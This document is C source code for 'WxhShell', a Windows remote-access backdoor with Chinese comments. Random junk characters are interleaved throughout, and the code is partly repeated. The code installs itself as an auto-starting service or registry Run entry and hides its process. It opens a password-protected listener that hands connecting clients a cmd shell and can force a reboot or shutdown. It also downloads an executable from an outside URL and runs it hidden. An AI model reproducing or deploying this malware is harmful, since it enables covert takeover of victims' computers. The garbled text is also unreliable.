g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ''?.6r NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~N>[7I"* 3-hu'xSU if (!NtQueryInformationProcess) return 0; ?N,a {#w 2a (w7/W: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }]=b%CPJh+ if(!hProcess) return 0; o-("S|A- Lyt6DvAp" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HqcXP2 KynQ<I/ CloseHandle(hProcess); 8W[QV :1hp_XfJb hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O)\xElu if(hProcess==NULL) return 0; [LjYLm%< (|(Y;%>-v HMODULE hMod; `5O<U~'d char procName[255]; [B+o4+K3 unsigned long cbNeeded; G\*`EM4 _@F4s if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); / (W{` !CPv{c`|qg CloseHandle(hProcess); v?K
XTc%Z
lU:z>gC if(strstr(procName,"services")) return 1; // 以服务启动 i._d^lR\t NV36Q^Am[ return 0; // 注册表启动 TG{=~2
} Tk|0
scjE^ MR#jI // 主模块 D7sw;{ns int StartWxhshell(LPSTR lpCmdLine) I@pnZ-5 { c?V,a`6 SOCKET wsl; 44kY[jhf BOOL val=TRUE; lY?TF int port=0; 1YAy\F~`. struct sockaddr_in door; rYJt;/RtR} unSF;S< if(wscfg.ws_autoins) Install(); Q\m"n^XN 5NJ@mm{0 port=atoi(lpCmdLine); >J.a,! wW6?.}2zU if(port<=0) port=wscfg.ws_port; vkc(-n ^%IKlj-E WSADATA data; qf4|!UR{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &7E 0H{ MCz+l0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Pkc4=i,`A setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |os2@G$ door.sin_family = AF_INET; xotq$r door.sin_addr.s_addr = inet_addr("127.0.0.1"); M}(4>W door.sin_port = htons(port); @2YO_rL[ ;9,Ll%Lk< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?9mWMf%t closesocket(wsl); &y3_>!L return 1; |I)MsNF } @U}fvdft ]L}<Y9)t if(listen(wsl,2) == INVALID_SOCKET) { b.8HGt<% closesocket(wsl); hL67g return 1; &e cf5jFy } #)my)}o\p Wxhshell(wsl); V
[[B~Rs WSACleanup(); -S)HB$8 :bLGDEC return 0; Da?0B9' }gag?yQ.^ }
Y($"i<rN /e4hB // 以NT服务方式启动 Qy0bp;V/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C
[=/40D { ZSKk*<= DWORD status = 0; &|/C*2A DWORD specificError = 0xfffffff; IL YS:c58= T{?!sB3 serviceStatus.dwServiceType = SERVICE_WIN32; :_)Xe*O serviceStatus.dwCurrentState = SERVICE_START_PENDING; zT!JHG serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dH#o11[ serviceStatus.dwWin32ExitCode = 0; Q1buuF#CU& serviceStatus.dwServiceSpecificExitCode = 0; B7?784{x, serviceStatus.dwCheckPoint = 0; `\e@O#,^yI serviceStatus.dwWaitHint = 0; G]QD6b9~ ;d?4phl-. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); khjW9Aa8t if (hServiceStatusHandle==0) return; vJl4.nk eHPGzNXb status = GetLastError(); lq.AQ if (status!=NO_ERROR) [#lPT'l { DFE?H serviceStatus.dwCurrentState = SERVICE_STOPPED; @@SG0YxZ serviceStatus.dwCheckPoint = 0; j><.tA~i serviceStatus.dwWaitHint = 0; li/IKS)e$ serviceStatus.dwWin32ExitCode = status; _wZ(%(^I serviceStatus.dwServiceSpecificExitCode = specificError; /x0zZ+}V SetServiceStatus(hServiceStatusHandle, &serviceStatus); M~ynJ@q return; Yw?%>L } JfKl=vg D'uzH|z8 serviceStatus.dwCurrentState = SERVICE_RUNNING; sx`C<c~u serviceStatus.dwCheckPoint = 0; e-UPu%' serviceStatus.dwWaitHint = 0; qI8{JcFx: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xCoQ>.4p } ]%>;R^HY o] )qv~o) // 处理NT服务事件,比如:启动、停止 42Kzdo|} VOID WINAPI NTServiceHandler(DWORD fdwControl) @105 @9F { CIO&VK switch(fdwControl) `lcpUWn { NBUM* Z case SERVICE_CONTROL_STOP: @B+ serviceStatus.dwWin32ExitCode = 0; D$#=;H
, serviceStatus.dwCurrentState = SERVICE_STOPPED; {{@3r5KGl serviceStatus.dwCheckPoint = 0; |M9x&(H;Hw serviceStatus.dwWaitHint = 0; :t\PYDp1 { J]fjg%C2m SetServiceStatus(hServiceStatusHandle, &serviceStatus); hb`bQ } A6TNtXk return; `P :-a7_ case SERVICE_CONTROL_PAUSE: m(*CuM[E serviceStatus.dwCurrentState = SERVICE_PAUSED; (doFYF~w break; G>*s+ case SERVICE_CONTROL_CONTINUE: ywi
Shvi8 serviceStatus.dwCurrentState = SERVICE_RUNNING; 6`X#<#_& break; ugUV`5w
case SERVICE_CONTROL_INTERROGATE: TyGXDU break; D{a{$Pr }; :tzCuK?e SetServiceStatus(hServiceStatusHandle, &serviceStatus); )WKe,:C } If]g6
B.= |}'}TYX0: // 标准应用程序主函数 A/BL{ U} int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z^h'&c# { '3%!Gi!g P`V#Wj4\ // 获取操作系统版本 I-fs*yzj;8 OsIsNt=GetOsVer(); zx;x@";p GetModuleFileName(NULL,ExeFile,MAX_PATH); d:<{!}BR3 ~w4aA<2Uq // 从命令行安装 /c3DltOdr if(strpbrk(lpCmdLine,"iI")) Install(); ~~'XY( \L@ ;uR8pz e // 下载执行文件 rpDH>Hzq if(wscfg.ws_downexe) { D&Ngg)_Mq if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F?5kl/(" WinExec(wscfg.ws_filenam,SW_HIDE); 4s0>QD$J } ^t9"!K Ao?H.=#y if(!OsIsNt) { Dve5Ml- // 如果时win9x,隐藏进程并且设置为注册表启动 #t3ju^ |? HideProc(); .\*\bvyCw StartWxhshell(lpCmdLine); f8'&(- } 9I^_n+E else gy9!T(z if(StartFromService()) _y5b>+ // 以服务方式启动 %DzS~5$G StartServiceCtrlDispatcher(DispatchTable); {_ewc/~ else }ndH|, // 普通方式启动 3#0nus|=S StartWxhshell(lpCmdLine); PJh\U1Z
uop_bJ return 0; j0:F E } ~mmI]
pC a/`fJY6rR ZaXK=%z =2->1<!x6< =========================================== >/$Q:92T n'%*vdHKm |Q.?<T:wt= /$I&D}uR` _%Mu{Ni& %)\Cwl " DRf~l9f B3XVhUP #include <stdio.h> 4?72TBl] #include <string.h> fN8A'p[ #include <windows.h> N#]f?6*R #include <winsock2.h> <NT /+>:2 #include <winsvc.h> _xUiHX< #include <urlmon.h>
J"FKd3~:E NoZz3*j= #pragma comment (lib, "Ws2_32.lib") .eq-i> #pragma comment (lib, "urlmon.lib") v8-F;>H _qJ[~'m<^C #define MAX_USER 100 // 最大客户端连接数 2ORWdR.b #define BUF_SOCK 200 // sock buffer oBKZ$&_h #define KEY_BUFF 255 // 输入 buffer >nvreis $0iz;!w #define REBOOT 0 // 重启 !4I?59 #define SHUTDOWN 1 // 关机 LNk
3=v2M |K/#2y~ #define DEF_PORT 5000 // 监听端口 P|_?{1eO2 ;?h#',(p #define REG_LEN 16 // 注册表键长度 U{eC^yjt"o #define SVC_LEN 80 // NT服务名长度 -"!V&M fgTvwOSk // 从dll定义API |w /txn8G| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _.Uz!2 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n1buE1r? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R/<
/g= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r/3!~??x +apIp(E+ // wxhshell配置信息 "LXLUa03 struct WSCFG { {TE0 int ws_port; // 监听端口 .yg"!X char ws_passstr[REG_LEN]; // 口令 ,MOB+i(3*u int ws_autoins; // 安装标记, 1=yes 0=no /i
DS#l\0 char ws_regname[REG_LEN]; // 注册表键名 3=sA]j-+( char ws_svcname[REG_LEN]; // 服务名 D1#E&4 char ws_svcdisp[SVC_LEN]; // 服务显示名 ((;9%F:/$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 YfF&: "-NU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [J-r*t"! int ws_downexe; // 下载执行标记, 1=yes 0=no gjyg`% char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]WyV~Dzz< char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b^hCm`2w* }[ux4cd8Y }; ?vf\_R'M as~. XWa // default Wxhshell configuration rw_&t>Ri; struct WSCFG wscfg={DEF_PORT, $`_(%tl "xuhuanlingzhe", PX2Ejrwj 1, Z''Fz(qMC "Wxhshell", 3<fJ5-z|- "Wxhshell", t6-c{ZX>A "WxhShell Service", q2gc.]K\ "Wrsky Windows CmdShell Service", ~3f#cEP>d} "Please Input Your Password: ", [>Q{70 c[ 1, 9OT2yCT "http://www.wrsky.com/wxhshell.exe", &\Cvrxa "Wxhshell.exe" EB@!?=0x }; a-i#?hld 4B (*{ // 消息定义模块 K%Q^2"Eb0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Mt@K01MI% char *msg_ws_prompt="\n\r? for help\n\r#>"; &sx/qS#,VL char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {
H9pF2C char *msg_ws_ext="\n\rExit."; 0Xk;X1Xl char *msg_ws_end="\n\rQuit."; w[4SuD char *msg_ws_boot="\n\rReboot..."; Dtd
bQF char *msg_ws_poff="\n\rShutdown..."; a7#Eyw^H{ char *msg_ws_down="\n\rSave to "; Hvor{o5|tB \ov>?5 char *msg_ws_err="\n\rErr!"; _eO+O=j_x char *msg_ws_ok="\n\rOK!"; |a\s}M1 3%|<U51 char ExeFile[MAX_PATH]; l\$_t2U int nUser = 0; \Xxx5:qM HANDLE handles[MAX_USER]; FopD/D{ int OsIsNt; <w{W1*R9 q. BqOa: SERVICE_STATUS serviceStatus; yFJ(b%7 SERVICE_STATUS_HANDLE hServiceStatusHandle; B#EF/\5 t*.v! // 函数声明 )2rI/=R int Install(void); 9R.tkc|K int Uninstall(void); Av+
w>~/3 int DownloadFile(char *sURL, SOCKET wsh); RA.@(DN& int Boot(int flag); ;F~GKn;} void HideProc(void); qc*+;Wi+5 int GetOsVer(void); xW"J@OiKL int Wxhshell(SOCKET wsl); nW|[poQK void TalkWithClient(void *cs); m\@Q/_v int CmdShell(SOCKET sock); ;]nU-> int StartFromService(void); V !FzVl=G int StartWxhshell(LPSTR lpCmdLine); ]p0m6}B 2px5>4< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ 0<e#0-V VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8yztV dh 8h AI l // 数据结构和表定义 _Q.3X[88C SERVICE_TABLE_ENTRY DispatchTable[] = r% mN]?u { (W@
ypK@ {wscfg.ws_svcname, NTServiceMain}, [ ddEt {NULL, NULL} lD C74g }; w2$HP/90j ?kS5=&< // 自我安装 "OK(<x]3;> int Install(void) JZP2NB_xt { -*yj[?6 char svExeFile[MAX_PATH]; Iun!rv HKEY key; *q8W;WaL strcpy(svExeFile,ExeFile); +[~\\X 8^< -; // 如果是win9x系统,修改注册表设为自启动 2sittP if(!OsIsNt) { DO(
/,A<{8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B8a!"AQ~5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2M1yw " RegCloseKey(key); !L3Bvb;Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y|B/( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o_\b{<^I RegCloseKey(key); 6[qRb+ds return 0; N?87Bd } df8rf8B- } G]&:">&R } VK`b'U&l" else { sBSBDjk[ =1+I<Ljk // 如果是NT以上系统,安装为系统服务 sV[|op SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1/1P;8F@G if (schSCManager!=0) NPS=?5p> { \nxt\KD SC_HANDLE schService = CreateService <T0-m?D_$ ( R^8Opf_UN schSCManager,
QAb[M\G wscfg.ws_svcname, ^OA}#k
NTW wscfg.ws_svcdisp, *xLMs(gg SERVICE_ALL_ACCESS, KJpM?: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wlKL|N SERVICE_AUTO_START, .!9]I'9M SERVICE_ERROR_NORMAL, 53(m9YLk svExeFile, w;#9 hW& NULL, RKBjrSZg8 NULL, 7Uj[0Awn NULL, j j$'DZk NULL, x$s #';* NULL 03rZz1 ); Y1
-cz: if (schService!=0) qw_qGgbl { _n{N3da CloseServiceHandle(schService); j83p[qR7o CloseServiceHandle(schSCManager); '`3-X];p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ogjjjy84vM strcat(svExeFile,wscfg.ws_svcname); &"^A if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t-E'foYfr` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /!%P7F RegCloseKey(key); 8n&" ,)U return 0; EkTen:{G } vDBnWA } ~*2PmD"+: CloseServiceHandle(schSCManager); }.T$bj1B;V } 8{d`N|k } T-5T`awf >StvP=our return 1; wkd591d* } Fg,[=CqB[ 5<#H=A~( // 自我卸载 p.l]%\QI int Uninstall(void) !J:DBtGT { OEAF. HKEY key; 0p[$8SCJ "&2D6 if(!OsIsNt) { UiYA#m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *~:@xMa RegDeleteValue(key,wscfg.ws_regname); wT.V3G RegCloseKey(key); &`@Jy|N\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jR/X}XQtY RegDeleteValue(key,wscfg.ws_regname); z%;\q$ RegCloseKey(key); {{<o1{_H return 0; !P:hf/l[B } <MfB;M } z5{I3 Y!1 } T`W FY else { pH"LZ7)DI0 qKSM*k~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '2.F-~ if (schSCManager!=0) @Qx;J<{+g { %b!p{p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F_I! + if (schService!=0) .upcUS8 { fqZ!Bi if(DeleteService(schService)!=0) { ?>AhC{ CloseServiceHandle(schService); ?Z14l0iZ%d CloseServiceHandle(schSCManager); ucA6s:!={ return 0; 1C|j<w=i } iSsy_ | CloseServiceHandle(schService); 3cfkJ|fuwe } O%+:fJz6wI CloseServiceHandle(schSCManager); m&$H?yXW> } %{Ls$Y) } >w*"LZjTTK |]`+@K,S return 1; {fGi:b\[ 8 } sJ0y3)PQ #
=322bnO // 从指定url下载文件 ^qk$W?pX int DownloadFile(char *sURL, SOCKET wsh) \T[*|"RFZ { chiQ+ HRESULT hr; IXg${I}_Q char seps[]= "/"; S`*al<m char *token; 'Lm.`U char *file; $9l3DJ char myURL[MAX_PATH]; hyTi': char myFILE[MAX_PATH]; p jrA:; E|5gKp-wJ strcpy(myURL,sURL); ]#*@<T*[ token=strtok(myURL,seps); ~ R* 6w($ while(token!=NULL) ?]7ITF { '+}hVfN file=token; ?`w ~1 token=strtok(NULL,seps); rzO:9# d } Gpgi@
Uf gB0)ec 0 GetCurrentDirectory(MAX_PATH,myFILE); :#gz)r strcat(myFILE, "\\"); O Ov"h\, strcat(myFILE, file); \]r{73C send(wsh,myFILE,strlen(myFILE),0); -J[D:P.Z send(wsh,"...",3,0); a.Mp1W hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G;^iwxzhO if(hr==S_OK) O}KT>84M return 0; Xz5=fj& else VyI%^S
]sS return 1; .KB*u*h z.jGVF4 } MT V'!Zxs 3Y s|M%N // 系统电源模块 f5yd2wKy6 int Boot(int flag) FF/MTd}6qG { |YlUt~H> HANDLE hToken; $[>wJXj3R TOKEN_PRIVILEGES tkp; CId`6W C&;'Pw9H if(OsIsNt) { rSZWmns OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5Pr<%}[S^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9Qkww&VEk tkp.PrivilegeCount = 1; JEP"2M N, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iF
67 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N..u<06j/ if(flag==REBOOT) { 2`Pk@,:_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Lc.7:r return 0; Us%VBq } /g8yc'{p else { :]//{HF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fx}R7GN2 return 0; =_wgKXBFa } ioviJ7N%
O } yV]-![`D else { 2.NzB7c*CM if(flag==REBOOT) { r@!~l1$s` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T2Vj&EA@ return 0; F_-yT[i } %r>vZ/>a else { @TH \hr] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M)LdGN?$ return 0; MDB}G
' } W5x]bl# } UGN. ]#"# &R8zuD`# return 1; OE[/sv } zO+nEsf^O m83i6"!H // win9x进程隐藏模块 =_UPZ] void HideProc(void) KS|$_-7u { Y0b.utR& <e=0J8V8,i HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wWm#[f],? if ( hKernel != NULL ) _{b a { |_ @iaLE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gVD!.
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $Z(zO;k. FreeLibrary(hKernel); fDRQ(} } bk7miRIB %v|,-B7Yx return; G?"1
z; } h?R-t*G? 6iTDk // 获取操作系统版本 SKS[Lf int GetOsVer(void) F0|T%!FB>% { 'WOWm$2 OSVERSIONINFO winfo; c^=:]^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1XZ&X] GetVersionEx(&winfo); -p)HH@6a if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wHY;Y-(ZT return 1; e)iVX<qb else u.arkp return 0; OC[a?#R1 } W35nnBU gr7W&2x7\ // 客户端句柄模块 Y#Z&$&n int Wxhshell(SOCKET wsl) mDq01fU4 { tL3(( W" SOCKET wsh; U "}Kth struct sockaddr_in client; xL!05du
DWORD myID; HN3
yA1<[V JRNyvG>j while(nUser<MAX_USER) Te.hXCFD { SZ0Zi\W int nSize=sizeof(client); 5I<?HsK@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F>}).qx if(wsh==INVALID_SOCKET) return 1; O+e8}Tmm Lr+2L_/v` handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '6aH*B:}*; if(handles[nUser]==0) 8^~ljf]6 closesocket(wsh); l >O]Cpt else "w A8J%: nUser++; Z>{8FzP.F } cg$~.ytPK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C{'c_wX !^N/n5eoz return 0; !#X^nlc } 6^wiEnA !",@,$ // 关闭 socket CZuxH void CloseIt(SOCKET wsh) YGNX+6Lz { lE`ScYG closesocket(wsh); dXOjaS# ~ nUser--; {6KU.'#iF ExitThread(0); ^@)+P/& } Y<|L|b6 9sRP8Nj| // 客户端请求句柄 ?,Hk]Rl3 void TalkWithClient(void *cs) -x RsYYw { UIyOn` d " |M0TG SOCKET wsh=(SOCKET)cs; *Lufz-[1 char pwd[SVC_LEN]; `t8e2?GH char cmd[KEY_BUFF]; 6qw_ |A&g char chr[1]; aTPpE9Pa& int i,j; vCi:cIp/ d }]b while (nUser < MAX_USER) { k"n#4o: \t1vYIY]T if(wscfg.ws_passstr) { Ig6s'^ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ge
@d" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %+'&$ //ZeroMemory(pwd,KEY_BUFF); (_W[~df4 i=0; q5`Gl while(i<SVC_LEN) { AUN Tc3 F:H76O` 8 // 设置超时 cJty4m- fd_set FdRead; 0~-+5V struct timeval TimeOut; jRBx7|ON FD_ZERO(&FdRead); (*2"dd FD_SET(wsh,&FdRead); x~(Ul\EX TimeOut.tv_sec=8; :bh[6F TimeOut.tv_usec=0; FTB"C[> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lF#Kg!-l if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0m@S+$v f.u{;W if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,%:`Ll
t]$ pwd=chr[0]; -Pvt+I> if(chr[0]==0xd || chr[0]==0xa) { l@GpVdrv pwd=0; q6,xsO,+ break; qItI):9U } ,<[os i++; #VrT)po+ } %ZxKN ; pjoI}; // 如果是非法用户,关闭 socket 1k hwwoo if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _\1(7 ?0D } +6>Pp[% 1E-$f send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |W::\yu6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2L\h+) {vU '>pp while(1) { ?W|POk} 1ri#hm0x\ ZeroMemory(cmd,KEY_BUFF); &iSQ2a!l8b Wd%j;glG // 自动支持客户端 telnet标准 h&Sl8$jVp j=0; >LNl8X:Cz* while(j<KEY_BUFF) { FKzqJwT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T<ua0;7 cmd[j]=chr[0]; y"]> Rr if(chr[0]==0xa || chr[0]==0xd) { U%#=d@? cmd[j]=0; ZuE0'9 break; 2ru6bIb; } Ex Qld j++; c.XLEjV| } b/G0EcRw+ s}A]lY // 下载文件 ]~oM'?&! if(strstr(cmd,"http://")) { g>Z1ZK0;M send(wsh,msg_ws_down,strlen(msg_ws_down),0); <6`,)(dj if(DownloadFile(cmd,wsh)) ?@u
&3/& send(wsh,msg_ws_err,strlen(msg_ws_err),0);
!]`]67lC else Zdak))7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ylf 6-FbF } \jfW$TtZm else { w8on3f;6n# O-|3k$'\z switch(cmd[0]) { ~q9RZ#g13J m760K*:i\ // 帮助 T&h|sa( case '?': { 'R$~U?i8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0q3:"X break; jVA xa|S } <ImeZ'L7 // 安装 qzG'Gz{{qu case 'i': { :')<|(Zy if(Install()) \K4m~e@! send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1lLUgf3G/ else S}|ea2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9hq 7: break; 3) 7'dM } 1n,JynJ // 卸载 6-^+btl)# case 'r': { Oll\T GXP! if(Uninstall()) VOiphw` send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zw3|HV(so else ;xRyONt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9DT}sCLz:B break; d
EXw=u } oDRNM^gz // 显示 wxhshell 所在路径 z C``G<TB case 'p': { ?LW1D+ char svExeFile[MAX_PATH]; 57#:GN$EL strcpy(svExeFile,"\n\r"); X$xqu\t7 strcat(svExeFile,ExeFile); "47nc1T+n send(wsh,svExeFile,strlen(svExeFile),0); 8=?I/9Xh break; UOwj"#
} Y8N&[L[z& // 重启 Z<wg` case 'b': { n
b{8zo send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M5q7`
}>G if(Boot(REBOOT)) #(A>yW702 send(wsh,msg_ws_err,strlen(msg_ws_err),0); qv<VKJTi6] else { ik]UzB closesocket(wsh); 5n"'M&Ce ExitThread(0); -V+fQGZe } ;<* VwXJR break; aH~il!K }
vu1:8j // 关机 Z2ZS5a case 'd': { c2i^dNp_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QTDI^ZeuF if(Boot(SHUTDOWN)) @Wv*` send(wsh,msg_ws_err,strlen(msg_ws_err),0); "kL5HD]TC else { +Gjy%JFp closesocket(wsh); P--#5W;^oB ExitThread(0); }X`K3sk2/z } <vAg\Tv:S break; m3,v&Z } 6Y=$7%z // 获取shell ycH=L8 case 's': { y@(U6ZOyx CmdShell(wsh); +yYz ;, \ closesocket(wsh); ?2i``-|Wa ExitThread(0); s5[ Cr"q7B break;
AKHi$Bk } 7[K$os5al // 退出 %8v?dB;>x` case 'x': { ,,6e }o6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /1^%32c CloseIt(wsh); dtnAMa5$T break; @-W)(9kZ| } Aw5yvQ>]e // 离开 a([cuh. case 'q': { ruA!+@or send(wsh,msg_ws_end,strlen(msg_ws_end),0); S4\T ( closesocket(wsh); {>~|xW WSACleanup(); x;C\G`9N exit(1); ge E7<"m% break; '91Ak,cWB } 9\dC8 } _[.`QW~ } eQNYfWR | 0&~fY // 提示信息 Xl}>mbB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mbi)mybM } lT%o6qgT } BO1Mz=q bclA+!1 return; z7GLpTa } oEfKL`]B -m-~ // shell模块句柄 {5RM)J1 int CmdShell(SOCKET sock) -f'z_&KI { 1|Fukx<@J< STARTUPINFO si; DSQ2z3s2 ZeroMemory(&si,sizeof(si)); e\)PGjSI si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tW 9vo-{+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /Jo*O=Lpo PROCESS_INFORMATION ProcessInfo; f):|Ad| char cmdline[]="cmd"; O* 7"Q& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uRp-yu[nt% return 0; 7H=/FT?e] } z;Kyg} uv Z!3 UH. // 自身启动模式 =WHdy; int StartFromService(void) b&0q%tCK { BCFvqhF7s typedef struct -`A6K!W&~p { 5I@< 6S&X DWORD ExitStatus; vQ
5
p DWORD PebBaseAddress; sqsBGFeG DWORD AffinityMask; 2o6%P}C DWORD BasePriority; LB-4/G$ ULONG UniqueProcessId; yQ h":"$k ULONG InheritedFromUniqueProcessId; VJm).>E3k } PROCESS_BASIC_INFORMATION; g#:?Ay-m ':J[KWuV PROCNTQSIP NtQueryInformationProcess; V+DN<F- $My%7S/3 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; X62GEqff static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g
}5lGz4 T,5]EHea HANDLE hProcess; N5o jXX!l% PROCESS_BASIC_INFORMATION pbi; P)Sw`^d `vUilh ^c HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z#*fELV if(NULL == hInst ) return 0; EdLbVrN, kJ{X5&,_ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r IY_1 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p'!cGJL NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qWy(f|:hYi V|DAw[!6N if (!NtQueryInformationProcess) return 0; iz&)FuOr s)\%%CM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QYDSE if(!hProcess) return 0; fyh9U_M);w |&3[YZY if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y&UcTE2;%( a!]'S4JS CloseHandle(hProcess); ([^1gG+>J ZI}7#K<9X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e'p'{]r<w if(hProcess==NULL) return 0; (xy/:i".V 'tklz* HMODULE hMod; `gx_+m^ char procName[255]; HW)> ` unsigned long cbNeeded; r 1n l! [a`89'"z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, 